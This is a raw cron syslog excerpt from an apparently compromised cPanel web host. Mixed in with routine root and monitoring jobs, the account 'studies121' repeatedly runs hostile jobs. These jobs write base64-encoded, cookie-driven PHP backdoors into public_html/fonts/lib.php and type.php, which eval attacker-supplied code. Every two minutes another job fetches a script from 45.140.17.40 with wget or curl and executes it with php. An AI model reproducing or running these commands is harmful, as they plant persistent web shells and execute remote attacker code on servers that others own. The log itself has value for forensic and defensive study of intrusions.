Sep  5 20:51:01 ip-184-168-122-23 CROND[24040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:51:01 ip-184-168-122-23 CROND[24042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:51:01 ip-184-168-122-23 CROND[24041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:52:01 ip-184-168-122-23 CROND[24123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:52:01 ip-184-168-122-23 CROND[24124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:52:01 ip-184-168-122-23 CROND[24125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:52:01 ip-184-168-122-23 CROND[24126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:52:01 ip-184-168-122-23 CROND[24127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:53:01 ip-184-168-122-23 CROND[24210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:53:01 ip-184-168-122-23 CROND[24211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:53:01 ip-184-168-122-23 CROND[24213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:53:01 ip-184-168-122-23 CROND[24215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:54:01 ip-184-168-122-23 CROND[24352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:54:01 ip-184-168-122-23 CROND[24353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:54:01 ip-184-168-122-23 CROND[24354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:54:01 ip-184-168-122-23 CROND[24355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:54:01 ip-184-168-122-23 CROND[24356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:55:01 ip-184-168-122-23 CROND[24437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:55:01 ip-184-168-122-23 CROND[24441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:55:01 ip-184-168-122-23 CROND[24439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:55:01 ip-184-168-122-23 CROND[24440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:55:01 ip-184-168-122-23 CROND[24443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:55:01 ip-184-168-122-23 CROND[24442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:56:01 ip-184-168-122-23 CROND[24616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:56:01 ip-184-168-122-23 CROND[24617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:56:01 ip-184-168-122-23 CROND[24618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:56:01 ip-184-168-122-23 CROND[24621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:56:01 ip-184-168-122-23 CROND[24619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:57:01 ip-184-168-122-23 CROND[24730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:57:01 ip-184-168-122-23 CROND[24729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:57:01 ip-184-168-122-23 CROND[24732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:57:01 ip-184-168-122-23 CROND[24731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:58:01 ip-184-168-122-23 CROND[24822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:58:01 ip-184-168-122-23 CROND[24824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:58:01 ip-184-168-122-23 CROND[24825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:58:01 ip-184-168-122-23 CROND[24826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:58:01 ip-184-168-122-23 CROND[24827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:59:01 ip-184-168-122-23 CROND[24916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:59:01 ip-184-168-122-23 CROND[24917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:59:01 ip-184-168-122-23 CROND[24918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:59:01 ip-184-168-122-23 CROND[24919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:00:01 ip-184-168-122-23 CROND[25006]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:00:01 ip-184-168-122-23 CROND[25009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:00:01 ip-184-168-122-23 CROND[25011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:00:01 ip-184-168-122-23 CROND[25010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:00:01 ip-184-168-122-23 CROND[25015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:00:01 ip-184-168-122-23 CROND[25016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:00:01 ip-184-168-122-23 CROND[25017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:00:01 ip-184-168-122-23 CROND[25014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:01:01 ip-184-168-122-23 CROND[25117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:01:01 ip-184-168-122-23 CROND[25119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:01:01 ip-184-168-122-23 CROND[25120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:01:01 ip-184-168-122-23 CROND[25122]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:01:01 ip-184-168-122-23 CROND[25123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:01:01 ip-184-168-122-23 CROND[25121]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25121]: starting 0anacron
Sep  5 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25138]: finished 0anacron
Sep  5 21:02:01 ip-184-168-122-23 CROND[25215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:02:01 ip-184-168-122-23 CROND[25218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:02:01 ip-184-168-122-23 CROND[25216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:02:01 ip-184-168-122-23 CROND[25217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:02:01 ip-184-168-122-23 CROND[25220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:03:01 ip-184-168-122-23 CROND[25313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
